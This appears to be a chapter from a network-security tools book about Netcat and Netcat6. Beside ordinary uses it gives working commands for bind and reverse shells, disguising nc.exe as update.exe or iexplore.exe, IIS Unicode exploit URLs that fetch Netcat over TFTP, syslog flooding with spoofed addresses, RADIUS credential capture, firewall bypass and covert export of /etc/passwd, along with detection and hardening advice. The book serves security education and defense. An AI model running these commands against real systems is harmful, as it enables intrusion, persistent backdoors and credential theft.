NETCAT6

The utilitarian simplicity of Netcat means that it will remain an integral part of any network toolbox. The original code was started in the fall of 1995 and, aside from a few function tweaks to keep up with evolving system libraries, it has served well. Nevertheless, Netcat clones have sprung up to address shortcomings of the original version or add new features that ensure the tool's concept keeps pace with networking technologies. The Netcat6 project adds IPv6 support, cleans up the code base, and works more accurately with the TCP and UDP protocols.

Implementation

Netcat6 serves as a TCP or UDP socket redirection tool. Files and commands can be piped into Netcat6 or files and commands can receive their input from the tool. One drawback of Netcat6 is that it does not support the Windows platform. You'll need to use a port of the original Netcat for now.

Install

Netcat6 is part of the Ports collection for BSD and Darwin (OS X). Its home page is http://www.deepspace6.net/projects/netcat6.html. This installation is straightforward and consists of the usual GNU methodology: /configure, make, make install.

Command Line

The Netcat6 command-line options are almost identical to its predecessor's. After all, many people were already familiar with the tool. However, Netcat6 does have a few variances and its new capabilities have new options, shown in Table 1-1.

Table 1-1: Netcat6 Options

Option

Description

-4

By default, Netcat6 works with packets in IPv4 format. IPv4 is the current version driving the majority of the Internet, web sites, and corporate and home networks. This option forces IPv4.

-6

Use IPv6. This means that Netcat6 will only speak to services that support IPv6. You're unlikely to run into such networks outside of a university or a lab, but the option is there if you need it.

--recv-only

Only receive data; don't transmit.

--send-only

Only transmit data; don't receive.

-x --transfer

File transfer mode. This particular option greatly improves sending and receiving files across the network. The receiver enters a "receive only" mode and the sender enters a "send only" mode. The original Netcat gave no indication when the transfer completed. With this option, Netcat6 sets up a unidirectional transfer and closes the connection once the file has been fully received.

The examples in the rest of this chapter refer to the original Netcat. Netcat6, or any other clone, could also be used; just pay attention to differences in command-line options.

Netcat's 101 Uses

People have claimed to find hundreds of ways to use Netcat in daily tasks. Many of these tasks are merely variations on a theme. We tried to come up with a few that, like Netcat itself, are general and cover the largest possible scope. Here are the uses we deem most important. In all cases, Netcat and Netcat6 are interchangeable.

Obtaining Remote Access to a Shell

Wouldn't you like to be able to get to your DOS prompt at home from anywhere in the world? By running the command nc.exe l p 4455 e cmd.exe on a Windows system, you provide a command prompt to anyone who connects to port 4455. Now observe what happens when we connect to our listener from an OS X system.

 [Paris:~] mike% nc 10.0.1.2 4455 Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\>ipconfig ipconfig Windows IP Configuration Ethernet adapter Local Area Connection 2:         Media State . . . . . . . . . . . : Media disconnected Ethernet adapter Local Area Connection:         Connection-specific DNS Suffix  . : foo.bar         IP Address. . . . . . . . . . . . : 10.0.1.2         Subnet Mask . . . . . . . . . . . : 255.255.255.0         Default Gateway . . . . . . . . . : 10.0.1.1 C:\>'' 

Pretty neat, eh? It's also pretty frightening. With hardly any effort, you've now obtained a command prompt on the system. Keep in mind that the command prompt has the same permissions and privileges as the account that executed the Netcat listener. Of course, running this command on Windows 95 or 98 systems will give you run of the entire box because there is only one type of account. This shows how dangerous Netcat can be in the wrong hands.

Tip 

In the example above, the ipconfig command was echoed by the "server's" command prompt. While this has no effect on program execution, it might be distracting. Run the cmd.exe prompt with the /q switch to disable the echo: nc.exe l p 4455 e "cmd.exe /q" .

Note 

Netcat seems to behave in an extremely unstable manner on Windows 95 and 98 systems, especially after multiple runs.

Let's build on this command a bit. Keep in mind that Netcat will run inside the DOS window it's started in by default. This means that the controlling command prompt window needs to stay open while Netcat is running. Using the d option to detach from the command prompt should allow Netcat to keep running even after the command prompt is closed.

 C:\>nc.exe -l -p 4455 -d -e cmd.exe 

This does a better job of hiding a Netcat backdoor.

However, if someone connects to port 4455 and then terminates the connection, Netcat will assume it's done and will stop listening on the port. Use the L option instead of l to tell it to listen harder (keep listening and restart with the same command line after its first conversation is complete). This is a Windows-only option.

 C:\>nc.exe -p 4455 -d -L -e cmd.exe 

This can let a hacker return to the system until a system administrator discovers the backdoor. The two biggest clues to the presence of Netcat are a suspicious port and the nc.exe entry in the Task Manager. The hacker may think of this and rename nc.exe to something more obscure.

 C:\>move nc.exe c:\Windows\System32\Drivers\update.exe C:\>Windows\System32\Drivers\update.exe -p 4455 -d -L -e cmd.exe 

A system administrator might pass right over something as innocuous as update.exethat could be anything. However, the savvy administrator will know to check file timestamps and file hashes, such as MD5, during system checkups. The MD5 fingerprint for an unmodified nc.exe from the distribution zip file is ab41b1e2db77cebd9e2779110ee3915d.

Task Manager will display the image name but does not show the path or parameters passed to the image when started. So, this is another aspect the hacker may try to obscure. Another feature of Netcat is that if you run it with no command-line options, it will prompt you for those command-line options on the first line of standard input:

 C:\>Windows\System32\Drivers\update.exe Cmd line: -l -p 4455 -d -L -e cmd.exe C:\> 

Now, if a system administrator runs a trusted netstat an command at the DOS prompt, he or she might notice that something is running on a rather odd port, connect to that port, and discover the trick. However, Windows and many of its applications use a wide range of seemingly random ports. Netstat output can be time consuming to parse, especially on systems with a lot of activity and many services. Sysinternal's TCPview (http://www.sysinternals.com/) is an excellent way to keep track of processes that are listening on a TCP or UDP port, and processes that have an established TCP or UDP connection.

Hackers might try a different approach. If they've infiltrated a Citrix server, for example, accessed by several users who are surfing the Web, you'd expect to see a lot of Domain Name System (DNS) lookups and web connections. Running netstat an would reveal a load of outgoing TCP port 80 connections. Instead of having an instance of Netcat listening on the Windows box and waiting for connections, Netcat can pipe the input and output of the cmd.exe program to another Netcat instance listening on a remote box on port 80. On his end, the hacker would run:

 [root@originix /root]# nc -l -p 80 

From the Windows box, the hacker could cleverly "hide" Netcat again and issue these commands:

 C:\>mkdir C:\Windows\System32\Drivers\q C:\>move nc.exe C:\Windows\System32\Drivers\q\iexplore.exe C:\>cd Windows\System32\Drivers\q C:\WINDOWS\System32\DRIVERS\q\iexplore.exe Cmd line: -d -e cmd.exe originix 80 C:\WINDOWS\System32\DRIVERS\q> 

Now the listening Netcat should pick up the command shell from the Windows machine. This can do a better job of hiding a backdoor from a system administrator. At first glance, the connection will just look like Internet Explorer making a typical HTTP connection. Its only disadvantage for the hacker is that after terminating the shell, there's no way of restarting it on the Windows side.

There are several ways a system administrator can discover infiltration by a rogue Netcat.

  • Use the Windows file search utility to look for files containing text like "listen mode", "inbound connects", or another string that is hard-coded in the nc.exe binary. Any executables that pop up could be Netcat.

  • Check Task Manager for any rogue cmd.exe files. Unless the hacker has renamed cmd.exe as well, you can catch the hacker while he's using the remote shell because a cmd.exe will be running that you can't account for.

  • Use the Netstat (Chapter 2) or Fport (Chapter 18) tools to see what ports are currently being used and what applications are using them. Be careful with Netstat, however, because it can easily be replaced by a "Trojan" version of the program that is specially crafted by a hacker to hide particular activity. Also, Netstat will sometimes not report a listening TCP socket until something has connected to it.

  • Check for files with Netcat's default MD5 fingerprint: ab41b1e2db77cebd9e2779110ee3915d. Renaming and obscuring the file will not affect its fingerprint; however, compression tools and binary editors can be used to affect this value.

Now you've seen two different ways to get a remote shell on a Windows box. Obviously, some other factors that might affect success with either method include intermediate firewalls, port filters, or proxy servers that actually filter on HTTP headers (just to name a few).

This particular use of Netcat was the driving force behind some popular exploits of Internet Information Server (IIS) 4.0's Microsoft Data Access Components (MDAC) and Unicode vulnerabilities. Several variations exist, but in all cases the exploits take advantage of these vulnerabilities, which allow anyone to execute commands on the box as the IIS user by issuing specially crafted URLs. These exploits could use a program like Trivial File Transfer Protocol (TFTP) if it's installed, pull down nc.exe from a remote system running a TFTP server, and run one of the backdoor commands. Here's a URL that attempts to use TFTP to download Netcat from a remote location using an exploit of the Unicode vulnerability:

 http://10.10.0.1/scripts/../%c1%pc/../winnt/system32/cmd.exe?/c+tftp %20-i%20originix%20GET%20nc.exe%20update.exe 

If successful, this command would effectively put Netcat on 10.10.0.1 in the Inetpub\ Scripts directory as update.exe. The hacker could then start Netcat using another URL:

 http://10.10.0.1/scripts/../%c1%pc/../inetpub/scripts/update.exe?-l %20-d%20-L%20-p%20443%20-e%20cmd.exe 
Note 

The web server interprets the %20 codes as spaces in the URL above.

Connecting to the system on port 443 would provide a command prompt. This is an effective and simple attack, and it can even be scripted and automated. However, this attack does leave behind its footprints. For one, all the URLs that were used will be stored in the IIS logs. Searching your IIS logs for tftp will reveal whether anyone has been attempting this kind of attack. Also, most current IDS versions will look for URLs formatted in this manner (that is, URLs containing cmd.exe or the special Unicode characters ).

You can do a couple of things to prevent this type of attack.

  • Make sure your IIS is running the latest security update.

  • Install and configure URLscan & IIS Lockdown Wizard for IIS 5.1 or older.

  • Block outgoing connections from your web server at the firewall. In most cases, your web server box shouldn't need to initiate connections out to the rest of the world. Even if your IIS is vulnerable, the TFTP will fail because it won't be able to connect back to the attacker's TFTP server.

Stealthy Port Scanning (Human-like)

Because Netcat can talk to a range of ports, a rather obvious use for the tool would be as a port scanner. Your first instinct might be to have Netcat connect to a whole slew of ports on the target host:

 [root@originix nc]# ./nc target 20-80 

But this won't work. Remember that Netcat is not specifically a port scanner. In this situation, Netcat would start at port 80 and attempt TCP connections until something answered. As soon as something answered on a port, Netcat would wait for standard input before continuing. This is not what we are looking for.

The z option is the answer. This option will tell Netcat to send minimal data to get a response from an open port. When using z mode, you don't get the option of feeding any input to Netcat (after all, you're telling it to go into "Zero I/O mode") and you won't see any output from Netcat either. Because the v option always gives you details about what connections Netcat is making, you can use it to see the results of your port scan. Without it well you won't see anythingas you'll notice here:

 [root@originix nc]# ./nc -z 192.168.1.100 20-80 [root@originix nc]# ./nc -v -z 192.168.1.100 20-80 originix [192.168.1.100] 80 (www) open originix [192.168.1.100] 23 (telnet) open originix [192.168.1.100] 22 (ssh) open originix [192.168.1.100] 21 (ftp) open [root@originix nc]# 
Tip 

The services (www, telnet, ssh, ftp) displayed in the example are the default mappings found in a Unix system's /etc/services file. Netcat is not saying for sure that port 80 is a web server (www), just that port 80 is the default port used by such servers. In Chapter 4 we'll discuss why this is important and what tools can be used to identify the real service that is listening on a port.

After you use the v option, you can see that some of the usual suspects are running between TCP ports 20 and 80. How does this look in the syslog?

 Feb 12 03:50:23 originix sshd[21690]: Did not receive ident string from 192.168.1.105. Feb 12 03:50:23 originix telnetd[21689]: ttloop: read: Broken pipe Feb 12 03:50:23 originix ftpd[21691]: FTP session closed 

Notice how all these events happened at the exact same time and with incremental process IDs (21689 through 21691). Imagine if you had scanned a wider range of ports. You'd end up with a rather large footprint. And some services, like sshd , are even rude enough to rat out the scanner's IP address.

Even if you scan ports that have nothing running on them (and thus don't end up in the target host's syslog), most networks have intrusion detection systems that will immediately flag this kind of behavior and bring it to the administrator's attention. Some firewall applications will automatically block an IP address if they receive too many connections from it within a short period of time.

Netcat provides ways to make scans a bit stealthier. You can use the i option and set up a probing interval. It will take a lot longer to get information, but the scan has a better chance of slipping under the radar. Using the r option to randomize the order in which Netcat scans those ports will also help the scan look less like a port scan:

 ./nc -v -z -r -i 42 192.168.1.100 20-80 

This tells Netcat to choose ports randomly between 20 and 80 on 192.168.1.100 and try to connect to them once every 42 seconds. This will definitely get past any automated defenses, but the evidence of the scan will still be in the target logs; it will just be more spread out.

You can do the same kind of stealthy port scanning using UDP instead. Simply add a u to the command to look for UDP instead of TCP ports.

Note 

UDP scanning has a problem. Netcat depends on receiving an Internet Control Message Protocol (ICMP) error to determine whether or not a UDP port is open or closed. If ICMP is being blocked by a firewall or filter, Netcat may erroneously report closed UDP ports as open.

Netcat isn't the most sophisticated tool to use for port scanning. Because it can be used for many general tasks rather than performing one task extremely well, you might be better off using a port scanner that was written specifically for that purpose. We'll talk about port scanners in Chapter 6.

Note 

If you get errors in regard to an address already in use when attempting a port scan using Netcat, you might need to lock Netcat into a particular source IP and source port (using the s and p options). Choose a port you know you can use (only the super user can use ports below 1024 on Unix-based systems; this isn't an issue for Windows) or that isn't already bound to something else.

Identify Yourself: Services Spilling Their Guts

After using Netcat or a dedicated port-scanning tool like nmap (see Chapter 6) to identify what ports are open on a system, you might like to be able to get more information about those ports. You can usually accomplish this by connecting to a port; the service will immediately spill its version number, build, and perhaps even the underlying operating system. So you should be able to use Netcat to scan a certain range of ports and report back on those services.

Keep in mind, though, that to automate Netcat, you have to provide input on the command line so it doesn't block waiting for standard input from the user. If you simply run nc 192.168.1.100 20-80 , you won't discover much, because it will block on the first thing to which it connects (probably the web server listening on 80) and will then wait for you to say something. So you need to figure out something to say to all of these services that might convince them to tell us more about themselves . As it turns out, telling services to QUIT really confuses them, and in the process they'll spill the beans.

Let's run it against ports 21 (FTP), 22 (SSHSecure Shell), and 80 (HTTP) and see what the servers tell us!

 [root@originix nc]# echo QUIT  ./nc -v 192.168.1.100 21 22 80 originix [192.168.1.100] 21 (ftp) open 220 originix FTP server (Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999) ready. 221 Goodbye. originix [192.168.1.100] 22 (ssh) open SSH-2.0-OpenSSH 2.3.0p1 Protocol mismatch. originix [192.168.1.100] 80 (www) open <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <HTML><HEAD> <TITLE>501 Method Not Implemented</TITLE> </HEAD><BODY> <H1>Method Not Implemented</H1> QUIT to /index.html not supported.<P> Invalid method in request QUIT<P> <HR> <ADDRESS> Apache/1.3.14 Server at 127.0.0.1 Port 80</ADDRESS> </BODY></HTML> [root@originix nc]# 
Note 

Remember that when you're automating connections to multiple ports, use at least one v option so that you can see the separation between one connection and the next . Also, if you're automating connections to multiple ports and one of those is a telnet server, you need to use t if you want to get past the binary nastiness (that is, the telnet option negotiations). It's usually a good idea to skip over port 23 and access it separately.

The output isn't pretty, but we now know the versions of the three services. A hacker can use this to look for an out-of-date version of a service that might be vulnerable to an exploit (http://www.securityfocus.com/ is an excellent place to find information about vulnerable service versions). A hacker who finds a particularly interesting port might be able to obtain even more information by focusing on that service and trying to speak its language.

Let's focus on the Apache web server. QUIT isn't a command that HTTP understands. Let's try saying something it might comprehend:

 [root@originix nc]# ./nc -v 192.168.1.100 80 originix [192.168.1.100] 80 (www) open GET / http HTTP/1.1 200 OK Date: Tue, 12 Feb 2002 09:43:07 GMT Server: Apache/1.3.14 (Unix)  (Red-Hat/Linux) Last-Modified: Sat, 05 Aug 2000 04:39:51 GMT ETag: "3a107-24-398b9a97" Accept-Ranges: bytes Content-Length: 36 Connection: close Content-Type: text/html I don't think you meant to go here. [root@originix nc]# 

Oh, how nice! We spoke a little basic HTTP (issuing a GET / HTTP command and then pressing ENTER twice) and Apache responded. It let us see the root index.html page with all the HTTP headers intact and none of the application layer interpretation that a web browser would do. And the Server header tells us not only that it is running Apache on a Unix box, but that it's running on a RedHat Linux box!

Note 

Keep one thing in mind: System administrators can easily modify source code or configuration files to modify the information in these banners. The deception doesn't make the service more secure or deter a curious hacker, but there are occasionally some positive by-products. A worm designed to check for a particular banner might not exploit the server if the banner has been changed. Of course, there is no reason that such a design choice will be made by the worm's programmer. A vulnerable service can always be exploited, whether intentionally or via blind luck.

Give Binary Services a Nudge

It isn't always necessary to talk to text-based protocols or services. Some services expect binary data and connection handshakes that consist of nonprintable characters. Here's one example:

 [Paris:~] mike% nc -v 10.0.1.2 3389 10.0.1.2: inverse host lookup failed: Unknown host (UNKNOWN) [10.0.1.2] 3389 (ms-wbt-server) open [Paris:~] mike% 

We hit the carriage return and nothing happens. In fact, we can type out just about anything and the service will not respond:

 [Paris:~] mike% nc -v 10.0.1.2 22 10.0.1.2: inverse host lookup failed: Unknown host (UNKNOWN) [10.0.1.2] 3389 (ms-wbt-server) open lkajdsfkljalkdsfjlkadjsflkajsdfkljasdklfjaklsdjf ajsdflkj klajdsf kadfj lkajdsflkjadsf [Paris:~] mike% 

This service is most likely Windows Terminal Services (an educated guess based on the port number). We could verify this by connecting with the Terminal Services client, or we could try a binary nudge string to see if we receive a response. This technique requires us to enlist the help of Perl and the xxd command. The xxd command prints a hex and ASCII dump of data it receives for input. These probably already exist on non-Windows systems. For Windows users, give Cygwin a try. (We'll go more in depth about Cygwin in Chapter 3.)

The first step is to generate the binary trigger or nudge that the service expects. To make things concise for now, we'll take the trigger definition from amap (Chapter 4). For now, just trust that this works! This shows how we use Perl to print binary characters, which xxd prints for us in a friendly, human-readable format:

 [Paris:~] mike% perl -e \ 'print "\x03\x00\x00\x0b\x06\xe0\x00\x00\x00\x00\x00"'  xxd 0000000: 0300 000b 06e0 0000 0000 00 ........... 

Next, we send the output of the Perl command through Netcat and record the response to a file. You'll have to forcefully quit Netcat with CTRL-C after it connects:

 [Paris:~] mike% perl -e \ 'print "\x03\x00\x00\x0b\x06\xe0\x00\x00\x00\x00\x00"'  \ nc -v 10.0.1.2 22 > a.txt 10.0.1.2: inverse host lookup failed: Unknown host (UNKNOWN) [10.0.1.2] 3389 (ms-wbt-server) open ^C punt! [Paris:~] mike% xxd a.txt 0000000: 0300 000b 06d0 0000 1234 00              .........4. [Paris:~] mike% 

The file a.txt contains a response from the service. It just so happens that this response matches the one expected from a Windows Terminal Service. We did gloss over a few steps, such as how to determine the nudge/response pair (network sniffers are discussed in Chapter 16), and the Perl and xxd commands were introduced rather quickly, but this illustrates a pretty powerful capability of Netcat. On the other hand, we could have gone directly to a tool like amap and avoided running so many different commands.

Communicating with UDP Services

We've mentioned how Netcat is sometimes passed over as being nothing more than a glorified telnet client. While it's true that many things that Netcat does (like speaking HTTP directly to a web server) can be done using telnet, telnet has a lot of limitations that Netcat doesn't. First, telnet can't transfer binary data well. Some of those data can get interpreted by telnet as telnet options. Therefore, telnet won't give you true transport layer raw data. Second, telnet closes the connection as soon as its input reaches EOF. Netcat will remain open until the network side is closed, which is useful for using scripts to initiate connections that expect large amounts of received data when sending a single line of input. However, probably the best feature Netcat has over telnet is that Netcat speaks UDP.

Chances are you're running a syslog daemon on your UNIX systemright? If your syslog is configured to accept messages from other hosts on your network, you'll see something on UDP port 514 when you issue a netstat an command. (If you don't, refer to syslogd's man page on how to start syslog in network mode.)

One way to determine whether syslog is accepting UDP packets is to try the following and then see if anything shows up in the log:

 [root@originix nc]# echo "<0>I can speak syslog"  ./nc -u 192.168.1.100 514 Message from syslogd@originix at Tue Feb 12 06:07:48 2002 ... originix I can speak syslog punt! [root@originix nc]# 

The <0> refers to the highest syslog level, kern.emerg, ensuring that this message should get written somewhere on the system (see your /etc/syslogd.conf file to know exactly where). And if you check the kernel log, you should see something like this:

 Feb 12 06:00:22 originix kernel: Symbols match kernel version 2.2.12. Feb 12 06:00:22 originix kernel: Loaded 18 symbols from 5 modules. Feb 12 06:06:39 originix  I can speak syslog  
Note 

If you start up a UDP Netcat session to a port and send it some input, and then Netcat immediately exits after you press ENTER, chances are that nothing is running on that UDP port.

Voil  . This is a good way to determine whether remote UDP servers are running. And if someone is running with an unrestricted syslog, they're leaving themselves open to a very simple attack that can fill up disk space, eat bandwidth, and hog up CPU time.

 [root@originix nc]# yes "<20>blahblahblah"  nc -s 10.0.0.1 -u targethost 514 

The yes command outputs a string (provided on the command line) over and over until the process is killed . This will flood the syslog daemon on targethost with "blahblahblah" messages. The attacker can even use a fake IP address ( -s 10.0.0.1 ) because responses from the syslog daemon are of no importance.

Tip 

If you find yourself a victim of such an attack, most current syslogd versions contain a command-line option (FreeBSD's syslogd uses -a ) to limit the hosts that can send syslog data to it. Unless you're coming from one of the hosts on that list, syslogd will just ignore you. However, because Netcat can spoof source IP addresses easily in this case, an attacker could guess a valid IP address from your list and put you right back where you were. Blocking incoming syslog traffic on the firewall is always the safest bet.

Frame a Friend: IP Spoofing

IP spoofing has quite a bit of mystique . You'll often hear, "How do we know that's really their IP address? What if they're spoofing it?" It can actually be quite difficult to spoof an IP address.

Perhaps we should rephrase that. Spoofing an IP address is easy. Firewalls that do masquerading or network address translation (NAT) spoof IP addresses on a daily basis. These devices can take a packet from an internal IP address, change the source IP address in the packet to its own IP address, send it out on the network, and undo the modifications when it receives data back from the destination. So changing the contents of the source IP address in an IP packet is easy. What's difficult is being able to receive any data back from your spoofed IP.

Netcat gives you the s option, which lets you specify whatever IP address you want. Someone could start a port scan against someone else and use the s option to make the target think it is being scanned by Microsoft or the Federal Bureau of Investigation (FBI). The problem arises, however, when you actually want the responses from the spoofed port scan to return to your real IP address. Because the target host thinks it received a connection request from Microsoft, for example, it will attempt to send an acknowledgment to that Microsoft IP. The IP will, of course, have no idea what the target host is talking about and will send a reset. How does the information get back to the real IP without being discovered ?

Other than actually hacking the machine to be framed, the only other viable option is to use source routing . Source routing allows a network application to specify the route it would like to take to its destination.

Two kinds of source routing exist: strict and loose. Strict source routing means that the packet must specify every hop in the route to the destination host. Some routers and network devices still allow strict source routing, but few should still allow loose source routing. Loose source routing tells routers and network devices that the routers can do most of the routing to the destination host, but it says that the packet must pass through a specified set of routers on its way to the destination. This is dangerous, as it can allow a hacker to pass a packet through a machine he or she controls (perhaps a machine that changes the IP address of the incoming packet to that of someone else). When the response comes back, it will again have the same loose source routing option and pass back through that rogue machine (which could in turn restore the "true" IP address). Through this method, source routing can allow an attacker to spoof an IP address and still get responses back. Most routers ignore source routing options altogether, but not all.

Netcat's g option lets you provide up to eight hops that the packet must pass through before getting to its destination. For example, nc g 10.10.4.5 g 10.10.5.8 g10.10.7.4g10.10.9.9 10.10.9.5023 will contact the telnet port on 10.10.9.50, but if source routing options are enabled on intermediate routers, the traffic will be forced to route through these four locations before reaching its destination. If we tried ncg 10.10.4.5g 10.10.5.8g 10.10.7.4g 10.10.9.9 G12 10.10.9.50 23 , we're specifying a hop pointer using the G option in this command. G will set the hop pointer to the n th byte (in this case twelfth), and because IP addresses are 4 bytes each, the hop pointer will start at 10.10.7.4. So on the way to 10.10.9.50, the traffic will need to go through only the last two machines (because according to the hop pointer, we've already been to the first two). On the return trip, however, the packet will pass through all four machines.

If your routers and network devices aren't set up to ignore source routing IP options, hopefully your intrusion-detection system is keeping an eye out for them (snort, the IDS we cover in Chapter 14, does this by default). Anyone who might be running a traffic analyzer like Ethereal will easily be able to spot source routing treachery, as the options section of the IP header will be larger than normal and the IP addresses in the route list will be clearly visible using an ASCII decoder. If it's important to the system administrators, they'll track down the owner of each IP address in the list in an attempt to find the culprit.

So to sum up, framing someone else for network misbehavior is easy. Actually pretending to be someone is a bit more difficult, however. Either way, Netcat can help do both.

Hijacking a Service

Log on to your favorite Unix\Linux system and run the command netstat an . Look at the top of the output for things that are listening. You should see something like this:

 Proto Recv-Q Send-Q  Local Address   Foreign Address      (state) tcp4       0      0  *.6000          *.*                   LISTEN tcp4       0      0  *.80            *.*                   LISTEN tcp4       0      0  *.22            *.*                   LISTEN tcp4       0      0  *.23            *.*                   LISTEN tcp4       0      0  *.21            *.*                   LISTEN tcp4       0      0  *.512           *.*                   LISTEN tcp4       0      0  *.513           *.*                   LISTEN tcp4       0      0  *.514           *.*                   LISTEN 

The last three are rservices (rlogin, rexec, and so on), which would be a great find for any hacker because they are so insecure . You can also see that telnet, FTP, X Windows, Web, and SSH are all running. But what else is worth noting? Notice how each of them list * for the local address? This means that all these services haven't bound to a specific IP address. So what?

As it turns out, many IP client implementations will first attempt to contact a service listening on a specific IP address before contacting a service listening on all IP addresses. Try this command:

 [root@originix nc]# ./nc -l -v -s 192.168.1.102 -p 6000 

Now do another Netstat. You should see this:

 Proto Recv-Q Send-Q  Local Address          Foreign Address        (state) tcp4       0      0  192.168.1.102.6000     *.*                     LISTEN tcp4       0      0  *.6000                 *.*                     LISTEN 

Look at that! You're now listening in front of the X server. If you had root access on the box, you could listen to ports below 1024 and hijack things like telnet, Web, and other resources. But plenty of interesting third-party authentication, file sharing, and other applications use higher ports. A regular user on your system (we'll call him "joeuser") could, for example, hijack a RADIUS server (which usually listens on port 1645 or 1812 UDP) and run the Netcat command with a o option to get a hexdump of all the login attempts. He's just captured a bunch of usernames and passwords without even needing root access on the box. Of course, it won't be long before users complain about a service not responding and joeuser's activity will be discovered. But if he knows a little bit about the service he's hijacking, he might actually be able to spoof the service (like faking responses) or even pass through to somebody else's service.

 [root@originix nc]# ./nc -l -u -s 192.168.1.100 -p 1812 -e nc_to_radius 

The nc_to_radius is a shell script that looks like this:

 #!/bin/sh DATE=`date "+%Y-%m-%d_%H.%M.%S"` /usr/bin/nc -o hexlog-$DATE slave-radius 1812 

slave-radius is the hostname of a secondary RADIUS server on the network. By putting the listening Netcat in a loop so that it restarts on every connection, this technique should theoretically allow joeuser to capture all kinds of login information (each session in its own file) while keeping anyone from immediately knowing that something is wrong. It will simply record information while forwarding it on to the backup RADIUS server. This would be rather difficult to get working consistently but is in the realm of possibility.

Note 

This behavior won't necessarily work with every operating system (kernel) on every system because many of them have plugged this particular "loophole" in socket binding. Testing and experimentation is usually required to determine whether it will work. For example, we were unable to hijack services on a RedHat Linux 6.1 box running a default install of a 2.2.12 kernel. Hijacking services worked fine on a FreeBSD 4.3-BETA system, but only if we had root privileges.

Proxies and Relays

You can use the same technique employed in the previous section to create Netcat proxies and relays. A listening Netcat can be used to spawn another Netcat connection to a different host or port, creating a relay.

Using this feature requires a bit of scripting knowledge. Because Netcat's e option takes only a single command (with no command-line arguments), you need to package any and all commands you want to run into a script. You can get pretty fancy with this, creating a relay that spans several different hosts. The technique can be used to create a complex "tunnel," allowing hackers to make it harder for system administrators to track them down.

The feature can be used for good as well. For example, the relay feature could allow Netcat to proxy web pages. Have it listen on port 80 on a different box, and let it make all your web connections for you (using a script) and pass them through.

Getting Around Port Filters

If you were a hacker, Netcat could be used to help you bypass firewalls. Masquerading disallowed traffic as allowed traffic is the only way to get around firewalls and port filters.

Some firewalls allow incoming traffic from a source port of 20 with a high destination port on the internal network to allow FTP. Launching an attack using nc p 20 targethost 6000 may allow you access to targethost 's X server if the firewall is badly configured. It might assume your connection is incoming FTP data and let you through. You most likely will be able to access only a certain subset of ports. Most firewall admins explicitly eliminate the port 6000 range from allowable ports in these scenarios, but you may still be able to find other services above 1024 that you can talk to when coming from a source port of 20.

DNS has similar issues. Almost all firewalls have to allow outgoing DNS but not necessarily incoming DNS. If you're behind a firewall that allows both, you can use this fact to get disallowed traffic through a firewall by giving it a source port of 53. From behind the firewall, running nc p 53 targethost 9898 might allow you to bypass a filter that would normally block outgoing America Online (AOL) Instant Messenger traffic. You'd have to get tricky with this, but you can see how Netcat can exploit loosely written firewall rules.

System administrators will want to check for particular holes like this. For starters, you can usually deny any DNS TCP traffic, which will shut down a lot of the DNS port filter problems. Forcing users to use passive FTP, which doesn't require the server to initiate a connection back to the client on TCP port 20, allows you to eliminate that hole.

A Microsoft KB article, http://support.microsoft.com/kb/813878, describes some potential problems from attackers who use source port 88 for scans. Port 88 is associated with Windows IPSec services.

Building a Datapipe: Make Your Own FTP

Netcat lets you build datapipes. What benefits does this provide?

File Transfers Through Port Filters By putting input and output files on each end of the datapipe, you can effectively send or copy a file from one network location to another without using any kind of "official" file transfer protocol. If you have shell access to a box but are unable to initiate any kind of file transfer to the box because port filters are blocking FTP, NFS (Network File System), and Samba shares, you have an alternative. On the side where the original file lives, run this:

 nc -l -u -p 55555 < file_we_want 

And from the client, try:

 nc -u --targethost 55555 > copy_of_file 

Making the connection will immediately transfer the file. Kick out with an EOF (CTRL-C) and your file should be intact.

Covert File Transfers Hackers can use Netcat to transfer files off the system without creating any kind of audit trail. Where FTP or Secure Copy (scp) might leave logs, Netcat won't.

 nc -l -u -p 55555 < /etc/passwd 

When the hacker connects to that UDP port, he grabs the /etc/passwd file without anyone knowing about it (unless he was unfortunate enough to run it just as the sysadmin was running a ps (process states) or a netstat command).

Grab Application Output Let's put you back in the hacker's shoes again. Let's say you've written a script that types some of the important system files to standard output (passwd, group , inetd.conf, hosts.allow, and so on) and runs a few system commands to gather information ( uname , ps , netstat ). Let's call this script "sysinfo." On the target you can do one of the following:

 nc -l -u -p 55555 -e sysinfo 

or

 sysinfo  nc -l -u -p 55555 

You can grab the output of the command and write it to a file called sysinfo.txt by using:

 nc -u target 55555 > sysinfo.txt 

What's the difference? Both commands take the output of the sysinfo script and pipe it into the listening Netcat so that it sends that data over the network pipe to whoever connects. The e option "hands over" I/O to the application it executes. When sysinfo is done with its I/O (at EOF), the listener closes and so does the client on the other end. If sysinfo is piped in, the output from sysinfo still travels over to the client, but Netcat still handles the I/O. The client side will not receive an EOF and will wait to see whether the listener has anything more to send.

The same thing can be said for a reverse example. What if you were on the target machine and wanted to initiate a connection to a Netcat listener on your homehost? If Netcat is listening on homehost after running the command nc l u p 55555 > sysinfo.txt , you again have two options:

 nc -u -e sysinfo homehost 55555 

or

 sysinfo  nc -u homehost 55555 
Tip 

On Unix systems, if the command you want to run with e isn't located in your current working directory when you start Netcat, you'll need to specify the full path to the command. Windows Netcat can still make use of the %PATH% variable and doesn't have this limitation.

The difference again is that using the pipe will have the client remain open even after sysinfo is done sending its output. Using the e option will have the Netcat client close immediately after sysinfo is finished. The distinction between these two modes becomes extremely apparent when you actually want to run an application on a remote host and do the I/O through a Netcat datapipe (as in the earlier "Obtaining Remote Access to a Shell" section).

Grab Application Control In the "Obtaining Remote Access to a Shell" section, we described how to start a remote shell on a Windows machine. The same can be done on a Unix box:

 nc -u -l -p 55555 -e /bin/sh 

Connect using nc u targethost 55555 . The shell (/bin/sh) starts up and lets you interact with that shell over the pipe. The e option gives I/O control completely to the shell. Keep in mind that this command would need to be part of an endless while loop in a script if you wanted this backdoor to remain open after you exited the shell. Upon exiting the shell, Netcat would close on both sides as soon as /bin/sh finished. The Netcat version for Windows gets around this caveat with the L option, which means listen "harder" as opposed to listening with the lower case -l.

Just as you could in the previous example, you could send the I/O control of a local application to a listening Netcat ( nc u l p 55555 ) instance by typing the following:

 nc -u -e /bin/sh homehost 55555 

And you can do this with any interactive application that works on a text-only basis without any fancy terminal options (the vi text editor won't work well, for example).

Tip 

You probably don't want to use a telnet client to connect to your listening Netcat, as the telnet options can seriously mess up the operation of your shell. Use Netcat in client mode to connect instead.

A Simple Honeypot

